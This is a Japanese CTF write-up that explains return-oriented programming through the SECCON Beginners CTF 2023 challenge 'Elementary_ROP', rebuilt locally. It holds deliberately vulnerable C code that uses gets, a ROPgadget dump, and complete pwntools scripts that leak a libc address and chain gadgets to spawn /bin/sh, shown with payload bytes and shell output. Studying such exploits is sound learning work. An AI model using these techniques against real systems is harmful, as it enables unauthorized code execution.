まえがき
6月の3日4日に開催された、SECCON Beginners CTF 2023に参加しました。その後、復習しています。今回は、その中でもpwnableのElementary_ROPを題材にReturn-Oriented Programmingについて勉強したので備忘録として投稿しようと思います。これをやっていた頃にはSecconのサーバーは閉じてしまっていて、かつ、配られた実行ファイルはライブラリのバージョンの関係で自分の環境下では実行できないため、配られたソースコードを自前でgccして使用しています。なにか間違いなどありましたらご指摘いただけると幸いです。
問題について
問題は、前述したとおりSECCON Beginners CTF 2023にて出題された、pwnableのElementary_ROPです。配られたファイルには、challという実行ファイルとそのソースコードである src.c が入っていました。こちらも前述のとおり、実行ファイルchallは自分でgccしたのものです。
$ gcc src.c -fno-stack-protector -no-pie -o chall
checksecコマンドでは以下のようになります。
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
コマンドの結果から分かるようにcanaryが無く、またアドレスも固定になっています。
そして、ソースコードを見ると以下のようになります。
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <err.h>
void gadget() {
asm("pop %rdi; ret");
}
int main() {
char buf[0x20];
printf("content: ");
gets(buf);
return 0;
}
__attribute__((constructor))
void init() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
alarm(60);
}
中身を見ていくと、入力を1回受け取るだけのプログラムとなっています。また、入力の受け付ける関数が、
gets(buf)
となっていて、canary も無いことからスタックパッファオーバーフローの脆弱性があることがわかります。関数で ROP の gadget を用意してくれていたりと、問題としては、ROPを用いることで、/bin/sh を起動させflagを手に入れることになります。
Return-Oriented Programming(ROP)とは
Return-Oriented Programmingとは、スタックバッファオーバーフローなどの脆弱性があるプログラムに対して、ret命令でpopされるスタックの値を、ret命令を含む命令片のアドレスに書き変えることで、任意のコードを実行する手法のことです。このアドレスの書き換えは、書き換えることで遷移を移した先のコードのret命令でpopされるスタックの値を書き換えておくことで、任意のコードを連続して実行させることができます。単に、ret命令でpopされるアドレスを書き換えるのとは異なり、pop rdi; retなどの命令片を使用することで関数の引数の設定などもできます。
gadget について
以下のようなROPで使われる命令片をgadgetと呼びます。
pop rdi
ret
pop命令のある箇所を使う理由は、スタックから値を代入するため、スタックに値を書き込む私達にとって、簡単に間接的にレジスタの値を書き換えることができるからです。
ところで、上の pop rdi ; ret という命令片は、機械語だと、5f c3 に相当します。また、pop r15; ret という命令片は機械語だと、 41 5f c3 に相当します。ということは、仮に逆アセンブルした結果の中に、
401252: 41 5f pop r15
401254: c3 ret
というものが含まれていた場合、アドレス0x401253を
401253: 5f pop rdi
401254 c3 ret
といった形の gadget として利用することができます。こうした gadget 探すことに関しては ROPgadget というコマンドが配布されており、それを使うと簡単に見つけることができます。
簡単なROPの例
ROPのできる簡単なソースコードを用意しました。コードは以下のようになります。
#include<stdio.h>
int main()
{
setbuf(stdout,NULL);
char buf[0x10];
gets(buf);
return 0;
}
void win(int arg)
{
if(arg == 2023)
{
puts("You got the flag!");
}
else
{
puts("Wrong..");
}
}
これを、以下のように gcc します。
$ gcc src.c -fno-stack-protector -no-pie -o chall
ソースコードの解説としては、16byte 確保した buf に対して gets関数で書き込みを行います。gets関数は文字数の指定がないためバッファオーバーフローを起こします。また、win関数が設置されており、第一引数に2023を渡しているときだけ flag を手に入れることができます。
目標は、main関数を抜けたあとのリターンのアドレスを書き換え、rdiを2023に設定することで flag を入手することです。そのためには、スタックが以下になるように書き込む必要があります。
# 1段 8byte
+-------------+---------------------------+ <- rsp
| buf | 適当な値 |
+-------------+---------------------------+
| buf | 適当な値 |
+-------------+---------------------------+
| saved rbp | 適当な値 |
+-------------+---------------------------+
| return addr | pop rdi; ret のアドレス |
+-------------+---------------------------+ <- rbp
| | 2023 |
+-------------+---------------------------+
| | win関数のアドレス |
+-------------+---------------------------+
簡単な解説としては、main関数を抜けたあと pop rdi; ret の gadget に処理が遷移します。そして、pop rdi で2023が pop されて rdi に代入され、その後 ret命令で win関数に処理が遷移します。
これをpythonでスクリプトを書きました。
#!/usr/bin/env python3
import pwn
pwn.context.arch = 'x86-64'
elf = pwn.ELF('./chall')
io = pwn.remote('localhost',4000)
addr_rop_pop_rdi_ret = 0x0000000000401253 #ROPgadgetコマンドで探した値
addr_win = elf.symbols['win']
addr_win_without_push = addr_win + 5 #関数呼び出し時の16バイトアライメント調整
payload = pwn.flat(
b'\x00' * (0x18),
pwn.pack(addr_rop_pop_rdi_ret),
pwn.pack(2023),
pwn.pack(addr_win_without_push),
b'\x0a' #gets関数は改行文字が来ると読み込むのをやめる
)
io.send(payload)
recv = io.recvrepeat(0.5)
print(recv)
これを先程のソースコードをgccした実行ファイルchallを、以下のように socatコマンドを用いて4000番ポートにサーバーを開いて、
$ socat TCP-L:4000,reuseaddr,fork EXEC:./chall
pythonスクリプトを実行すると、以下のように flag を入手できました。
[+] Opening connection to localhost on port 4000: Done
b'You got the flag!\n'
[*] Closed connection to localhost port 4000
execve関数について
ROPの大雑把な解説はさておき、前述の通り、今回のSECCON beginners ctf 2023の問題では /bin/sh を立ち上げることが目標になります。それためには、syscall にてexecve関数を呼び出す必要があります。この関数は
#include <unistd.h>
int execve(const char *pathname, char *const _Nullable argv[],
char *const _Nullable envp[]);
このような形となっており、/bin/shを立ち上げる場合には、第一引数に/bin/shの文字列の先頭ポインタを、そして第二、第三引数は0を渡します。また、アーキテクチャがx86-64なので、syscallの番号は59になります。アーキテクチャが違う場合はその都度、syscallの番号や、引数の渡し方について変える必要があります。今回のROPでは
- 適当な領域 (今回は .data 領域) に /bin/sh という文字列を書き込む
- 書き込んだアドレスをrdiに代入する
- rsiに0を代入する
- rdxに0を代入する
- raxに59を代入する
- syscall関数を使う
という操作をすることでシェルを起動させることができます。
問題を解く上で必要な情報について
上記の操作をするためには以下の情報が必要になります。
- 今回使用するret命令を含んだ命令片のアドレス
- /bin/shを書き込むための適当な領域のアドレス
- pritnf関数 gets関数など使用する関数のアドレス
今回使用するret命令を含んだ命令片のアドレス
こちらは、プログラムを逆アセンブルしたコードから探してもいいのですが、ROPgadgetというコマンドがあるのでそちらを使うと便利です。これを使ってみると、
Gadgets information
============================================================
0x00000000004010dd : add ah, dh ; nop ; endbr64 ; ret
0x000000000040110b : add bh, bh ; loopne 0x401175 ; nop ; ret
0x000000000040129c : add byte ptr [rax], al ; add byte ptr [rax], al ; endbr64 ; ret
0x00000000004011d2 : add byte ptr [rax], al ; add byte ptr [rax], al ; leave ; ret
0x00000000004011d3 : add byte ptr [rax], al ; add cl, cl ; ret
0x0000000000401036 : add byte ptr [rax], al ; add dl, dh ; jmp 0x401020
0x000000000040117a : add byte ptr [rax], al ; add dword ptr [rbp - 0x3d], ebx ; nop ; ret
0x000000000040129e : add byte ptr [rax], al ; endbr64 ; ret
0x00000000004010dc : add byte ptr [rax], al ; hlt ; nop ; endbr64 ; ret
0x00000000004011d4 : add byte ptr [rax], al ; leave ; ret
0x000000000040100d : add byte ptr [rax], al ; test rax, rax ; je 0x401016 ; call rax
0x000000000040117b : add byte ptr [rcx], al ; pop rbp ; ret
0x0000000000401179 : add byte ptr cs:[rax], al ; add dword ptr [rbp - 0x3d], ebx ; nop ; ret
0x00000000004011d5 : add cl, cl ; ret
0x000000000040110a : add dil, dil ; loopne 0x401175 ; nop ; ret
0x0000000000401038 : add dl, dh ; jmp 0x401020
0x000000000040117c : add dword ptr [rbp - 0x3d], ebx ; nop ; ret
0x0000000000401177 : add eax, 0x2eeb ; add dword ptr [rbp - 0x3d], ebx ; nop ; ret
0x0000000000401017 : add esp, 8 ; ret
0x0000000000401016 : add rsp, 8 ; ret
0x0000000000401225 : call qword ptr [rax + 0x1f0fc35d]
0x000000000040103e : call qword ptr [rax - 0x5e1f00d]
0x0000000000401014 : call rax
0x0000000000401193 : cli ; jmp 0x401120
0x0000000000401199 : cli ; push rbp ; mov rbp, rsp ; pop rdi ; ret
0x00000000004010e3 : cli ; ret
0x00000000004012ab : cli ; sub rsp, 8 ; add rsp, 8 ; ret
0x0000000000401190 : endbr64 ; jmp 0x401120
0x0000000000401196 : endbr64 ; push rbp ; mov rbp, rsp ; pop rdi ; ret
0x00000000004010e0 : endbr64 ; ret
0x000000000040127c : fisttp word ptr [rax - 0x7d] ; ret
0x00000000004010de : hlt ; nop ; endbr64 ; ret
0x000000000040119d : in eax, 0x5f ; ret
0x0000000000401012 : je 0x401016 ; call rax
0x0000000000401105 : je 0x401110 ; mov edi, 0x404048 ; jmp rax
0x0000000000401147 : je 0x401150 ; mov edi, 0x404048 ; jmp rax
0x000000000040103a : jmp 0x401020
0x0000000000401194 : jmp 0x401120
0x0000000000401178 : jmp 0x4011a8
0x000000000040100b : jmp 0x4840103f
0x000000000040110c : jmp rax
0x00000000004011d6 : leave ; ret
0x000000000040110d : loopne 0x401175 ; nop ; ret
0x0000000000401176 : mov byte ptr [rip + 0x2eeb], 1 ; pop rbp ; ret
0x00000000004011d1 : mov eax, 0 ; leave ; ret
0x000000000040119c : mov ebp, esp ; pop rdi ; ret
0x0000000000401107 : mov edi, 0x404048 ; jmp rax
0x000000000040119b : mov rbp, rsp ; pop rdi ; ret
0x00000000004010df : nop ; endbr64 ; ret
0x00000000004011a0 : nop ; pop rbp ; ret
0x000000000040110f : nop ; ret
0x000000000040118c : nop dword ptr [rax] ; endbr64 ; jmp 0x401120
0x0000000000401106 : or dword ptr [rdi + 0x404048], edi ; jmp rax
0x000000000040128c : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000040128e : pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000401290 : pop r14 ; pop r15 ; ret
0x0000000000401292 : pop r15 ; ret
0x000000000040128b : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000040128f : pop rbp ; pop r14 ; pop r15 ; ret
0x000000000040117d : pop rbp ; ret
0x000000000040119e : pop rdi ; ret
0x0000000000401291 : pop rsi ; pop r15 ; ret
0x000000000040128d : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000040119a : push rbp ; mov rbp, rsp ; pop rdi ; ret
0x000000000040101a : ret
0x0000000000401239 : retf
0x0000000000401011 : sal byte ptr [rdx + rax - 1], 0xd0 ; add rsp, 8 ; ret
0x000000000040105b : sar edi, 0xff ; call qword ptr [rax - 0x5e1f00d]
0x00000000004012ad : sub esp, 8 ; add rsp, 8 ; ret
0x00000000004012ac : sub rsp, 8 ; add rsp, 8 ; ret
0x0000000000401010 : test eax, eax ; je 0x401016 ; call rax
0x0000000000401103 : test eax, eax ; je 0x401110 ; mov edi, 0x404048 ; jmp rax
0x0000000000401145 : test eax, eax ; je 0x401150 ; mov edi, 0x404048 ; jmp rax
0x000000000040100f : test rax, rax ; je 0x401016 ; call rax
Unique gadgets found: 74
となり、必要分だけを抜粋すると
#0x000000000040119e : pop rdi ; ret
#0x000000000040119b : mov rbp, rsp ; pop rdi ; ret
を得ることができましたが、今回の実行ファイル chall からは、
- pop rdx; ret
- pop rax; ret
- syscall
それはそうと、この実行ファイル chall は実行されるときにこのコード単体で動いているわけではありません。今回は標準Cライブラリが一緒にメモリに配置されて実行されます。なので、その中から gadget を探して行くことができます。自分の環境の場合、/usr/lib/x86_64-linux-gnu/libc-2.31.so が配置されており、それを調べると以下の情報を得ることができました。(量が多いので必要部分のみ抜粋)
# 117c2f: 0f 05 syscall
# 117c31: c3 ret
#0x000000000002601f : pop rsi ; ret
#0x0000000000142c92 : pop rdx ; ret
#0x0000000000036174 : pop rax ; ret
この libc-2.31.so は、challが固定のアドレスであってもアドレスは固定ではありません。なので、上のアドレスは相対アドレスになります。そのため、問題を解く上ではこの libc-2.31.so の配置されているアドレスを求める必要があります。
これは、chall の .got 領域に格納されています。正確には、IDAを用いて調べてみると以下のようになっており、
.got:0000000000403FF0 ; ===========================================================================
.got:0000000000403FF0
.got:0000000000403FF0 ; Segment type: Pure data
.got:0000000000403FF0 ; Segment permissions: Read/Write
.got:0000000000403FF0 _got segment qword public 'DATA' use64
.got:0000000000403FF0 assume cs:_got
.got:0000000000403FF0 ;org 403FF0h
.got:0000000000403FF0 __libc_start_main_ptr dq offset __libc_start_main
.got:0000000000403FF0 ; DATA XREF: _start+28↑r
.got:0000000000403FF8 __gmon_start___ptr dq offset __gmon_start__
.got:0000000000403FF8 ; DATA XREF: _init_proc+8↑r
.got:0000000000403FF8 _got ends
.got:0000000000403FF8
libc-2.31.so の __libc_start_main 関数のアドレスが、0x403ff0 に格納されていることがわかります。したがってその値を ROP を用いて rdi に0x403ff0を代入し printf関数に処理を遷移させることで、アドレスを見ることができます。そうすると、__libc_start_main 関数とlibc-2.31.so 先頭アドレスは一定なので、libc-2.31.so の配置されているアドレスが分かり、先程調べた gadget の相対アドレスと合わせて用いることで、それぞれの gadget のアドレスを割り出すことができます。
/bin/shを書き込むための適当な領域のアドレス
今回は、書き込むためのアドレスとして .data 領域を使用します。これは、読み書きができればどこでも大丈夫です。今回は、そのアドレスを 0x404039 としました。
pritnf関数 gets関数など使用する関数のアドレス
ROPではprintfなどの関数は、実行ファイル chall の中の .plt 領域から間接的に呼び出すことができます。chall を逆アセンブルした中を探すと(必要部分抜粋)
Disassembly of section .plt.sec:
0000000000401070 <printf@plt>:
401070: f3 0f 1e fa endbr64
401074: f2 ff 25 9d 2f 00 00 bnd jmp QWORD PTR [rip+0x2f9d] # 404018 <printf@GLIBC_2.2.5>
40107b: 0f 1f 44 00 00 nop DWORD PTR [rax+rax*1+0x0]
0000000000401090 <gets@plt>:
401090: f3 0f 1e fa endbr64
401094: f2 ff 25 8d 2f 00 00 bnd jmp QWORD PTR [rip+0x2f8d] # 404028 <gets@GLIBC_2.2.5>
40109b: 0f 1f 44 00 00 nop DWORD PTR [rax+rax*1+0x0]
を見るけることができ、printf関数だとアドレス0x401074に処理を遷移させることでprintf関数を呼び出すことができます。
問題の解法
以上の情報をもとに問題を解いていきます。実際の流れとしては、
- 最初の入力で、libc-2.31.so 内の__libc_start_main 関数のアドレスが格納されているアドレス0x403ff0 の中身が printf関数で表示されるように ROP を組み、libc-2.31.so の配置アドレスを割り出す。かつ、ROPの最後にmain関数に戻ってくるようにし、もう一度入力できるようにする。
- 2回目の入力で、.data 領域の読み書き用のアドレス 0x404039 に gets関数で入力したあと、各引数を設定して syscall命令をするように ROP を組む。
- gets関数で入力を求められるので、/bin/sh を入力する。
1回目の入力について
libc-2.31.so 内の__libc_start_main 関数のアドレスが格納されているアドレス0x403ff0 の中身が printf関数で表示され、かつ、ROPの最後にmain関数に戻ってくるようにするためには、以下のようにスタックを書き換える必要があります。
# 1段 8byte
+-------------+---------------------------+
| buf | 適当な値 |
+-------------+---------------------------+
| buf | 適当な値 |
+-------------+---------------------------+
| buf | 適当な値 |
+-------------+---------------------------+
| buf | 適当な値 |
+-------------+---------------------------+
| saved rbp | 適当な値 |
+-------------+---------------------------+
| return addr | pop rdi; ret のアドレス |
+-------------+---------------------------+
| |__libc_start_main 関数のアドレスが格納されている .got 領域のアドレス
+-------------+---------------------------+
| | ret;のアドレス | #printf関数を呼び出したときの16byteアラインメントの調節のためにret命令だけのアドレス
+-------------+---------------------------+
| | printf関数のアドレス |
+-------------+---------------------------+
| | main関数のアドレス | #16byteアラインメントの調節のため、push rbpの次の命令のアドレス
+-------------+---------------------------+
このようになるように1回目の入力のためのペイロードを組み入力すると、libc-2.31.so の配置アドレスを割り出すことができます。
2回目の入力について
次に、.data 領域の読み書き用のアドレス 0x404039 に gets関数で入力したあと、各引数を設定して syscall命令をするようにするためには、以下のようになるようスタックを書き換える必要があります。
# 1段 8byte
+-------------+---------------------------+
| buf | 適当な値 |
+-------------+---------------------------+
| buf | 適当な値 |
+-------------+---------------------------+-
| buf | 適当な値 |
+-------------+---------------------------+
| buf | 適当な値 |
+-------------+---------------------------+-
| saved rbp | 適当な値 |
+-------------+---------------------------+
| return addr | pop rdi; ret のアドレス |
+-------------+---------------------------+-
| | .data 領域の読み書き用のアドレス
+-------------+---------------------------+
| | ret;のアドレス | #gets関数を呼び出したときの16byteアラインメントの調節のためにret命令だけのアドレス
+-------------+---------------------------+-
| | gets関数のアドレス |
+-------------+---------------------------+
| | pop rdi; ret のアドレス |
+-------------+---------------------------+-
| | .data 領域の読み書き用のアドレス
+-------------+---------------------------+
| | pop rsi; ret のアドレス |
+-------------+---------------------------+-
| | 0 | #execve関数の第2引数の値
+-------------+---------------------------+
| | pop rdx; ret のアドレス |
+-------------+---------------------------+-
| | 0 | #execve関数の第3引数の値
+-------------+---------------------------+
| | pop rax; ret のアドレス |
+-------------+---------------------------+-
| | 59 | #execve関数のsyscall番号
+-------------+---------------------------+
| | syscall のアドレス |
+-------------+---------------------------+
このようになるように、ペイロードを組み入力すると、get関数のところで入力を求められるので、/bin/sh を入力すると、その後の syscall命令で/bin/sh が起動します。
今回作成したスクリプト(Python)
以上を踏まえて作成したスクリプトが以下になります。上部にいろいろ情報をメモしてあります
#!/usr/bin/env python3
import pwn
host = 'localhost'
port = 4000
pwn.context.arch='x86-64'
bin = './chall'
#syscall 59 (x86-64)
#include <unistd.h>
# int execve(const char *pathname, char *const _Nullable argv[],
# char *const _Nullable envp[]);
#=============Data from ida64==============================
#.got:0000000000403FF0 __libc_start_main_ptr dq offset __libc_start_main
got_offset_libc_start_main = 0x403ff0
#addr in .data
addr_to_write = 0x404039
#=============Data from ROPgadget.txt======================
#0x000000000040119e : pop rdi ; ret
addr_rop_pop_rdi_ret = 0x000000000040119e
#0x000000000040101a : ret
addr_rop_ret = 0x000000000040101a
#=============Data from libc_dump.txt======================
# 117c2f: 0f 05 syscall
# 117c31: c3 ret
rel_addr_syscall_ret = 0x117c2f
#0x000000000002601f : pop rsi ; ret
rel_addr_rop_pop_rsi_ret = 0x000000000002601f
#0x0000000000142c92 : pop rdx ; ret
rel_addr_rop_pop_rdx_ret = 0x0000000000142c92
#0x0000000000036174 : pop rax ; ret
rel_addr_rop_pop_rax_ret = 0x0000000000036174
#0000000000023f90 <__libc_start_main@@GLIBC_2.2.5>:
rel_libc_start_main = 0x0000000000023f90
def exploit():
io = pwn.remote(host,port)
elf = pwn.ELF(bin)
addr_main = elf.symbols['main']
addr_main_without_push_rbp = addr_main + 0x5
addr_printf = elf.plt['printf']
addr_gets = elf.plt['gets']
print('=========================First Payload================================')
payload = pwn.flat(
b'\x00' * (0x20),
pwn.pack(0),
pwn.pack(addr_rop_pop_rdi_ret),
pwn.pack(got_offset_libc_start_main),
pwn.pack(addr_rop_ret),#関数呼出の16byteアラインメント調整
pwn.pack(addr_printf),
pwn.pack(addr_main_without_push_rbp),
b'\x0a'
)
print(f'payload = {payload}')
io.send(payload)
recv = io.recvrepeat(0.5)
print(f'recv = {recv}')
recv_addr_libc_start_main = recv[9:15]
print(f'recv addr __libc_start_main = {recv_addr_libc_start_main}')
addr_libc_start_main = pwn.unpack(recv_addr_libc_start_main,word_size='48')
addr_libc_base = addr_libc_start_main - rel_libc_start_main
print('=========================Second Payload================================')
# mov rdi , offset ;/bin/bash
# mov rsi , 0 ;
# mov rdx , 0 ;
# mov rax , 59 ;syscall(execve)
# syscall
payload = pwn.flat(
b'\x00' * (0x28),
pwn.pack(addr_rop_pop_rdi_ret),
pwn.pack(addr_to_write),
pwn.pack(addr_rop_ret),#関数呼出の16byteアラインメント調整
pwn.pack(addr_gets),
pwn.pack(addr_rop_pop_rdi_ret),
pwn.pack(addr_to_write),
pwn.pack(rel_addr_rop_pop_rsi_ret+addr_libc_base),
pwn.pack(0),
pwn.pack(rel_addr_rop_pop_rdx_ret+addr_libc_base),
pwn.pack(0),
pwn.pack(rel_addr_rop_pop_rax_ret+addr_libc_base),
pwn.pack(59),
pwn.pack(rel_addr_syscall_ret+addr_libc_base),
b'\x0a'
)
print(f'payload = {payload}')
io.send(payload)
recv = io.recvrepeat(0.5)
msg = pwn.flat(
b'/bin/sh',
b'\x0a'
)
io.send(msg)
recv = io.recvrepeat(0.5)
print('====================INFORMATION===============================================')
print(f'addr main = {hex(addr_main)}')
print(f'addr main without (push rbp) = {hex(addr_main_without_push_rbp)}')
print(f'addr to write = {hex(addr_to_write)}')
print(f'addr __libc_start_main = {hex(addr_libc_start_main)}')
print(f'addr libc-2.31.so = {hex(addr_libc_base)}')
print(f'addr printf = {hex(addr_printf)}')
print(f'addr_gets = {hex(addr_gets)}')
print('==============================================================================')
io.interactive() #/bin/shが起動するので操作できるよにする
if __name__=='__main__':
exploit()
これを、以下の2つのファイルを配置したディレクトリで
chall
flag.txt
以下のsocatコマンドでサーバーを開いておき
$ socat TCP-L:4000,reuseaddr,fork EXEC:./chall
スクリプトを実行すると以下の出力が得られ、/bin/shを奪取できており、flag.txtの内容を見ることができました。
[+] Opening connection to localhost on port 4000: Done
=========================First Payload================================
payload = b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x9e\x11@\x00\x00\x00\x00\x00\xf0?@\x00\x00\x00\x00\x00\x1a\x10@\x00\x00\x00\x00\x00t\x10@\x00\x00\x00\x00\x00\xa8\x11@\x00\x00\x00\x00\x00\n'
recv = b'content: \x90_=\xe0\xf0\x7fcontent: '
recv addr __libc_start_main = b'\x90_=\xe0\xf0\x7f'
=========================Second Payload================================
payload = b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x9e\x11@\x00\x00\x00\x00\x009@@\x00\x00\x00\x00\x00\x1a\x10@\x00\x00\x00\x00\x00\x94\x10@\x00\x00\x00\x00\x00\x9e\x11@\x00\x00\x00\x00\x009@@\x00\x00\x00\x00\x00\x1f\x80=\xe0\xf0\x7f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x92LO\xe0\xf0\x7f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00t\x81>\xe0\xf0\x7f\x00\x00;\x00\x00\x00\x00\x00\x00\x00/\x9cL\xe0\xf0\x7f\x00\x00\n'
====================INFORMATION===============================================
addr main = 0x4011a3
addr main without (push rbp) = 0x4011a8
addr to write = 0x404039
addr __libc_start_main = 0x7ff0e03d5f90
addr libc-2.31.so = 0x7ff0e03b2000
addr printf = 0x401074
addr_gets = 0x401094
==============================================================================
[*] Switching to interactive mode
$ ls
chall
flag.txt
$ cat flag.txt
flag{This_is_flag!}$ exit
[*] Got EOF while reading in interactive
$
$
[*] Closed connection to localhost port 4000
[*] Got EOF while sending in interactive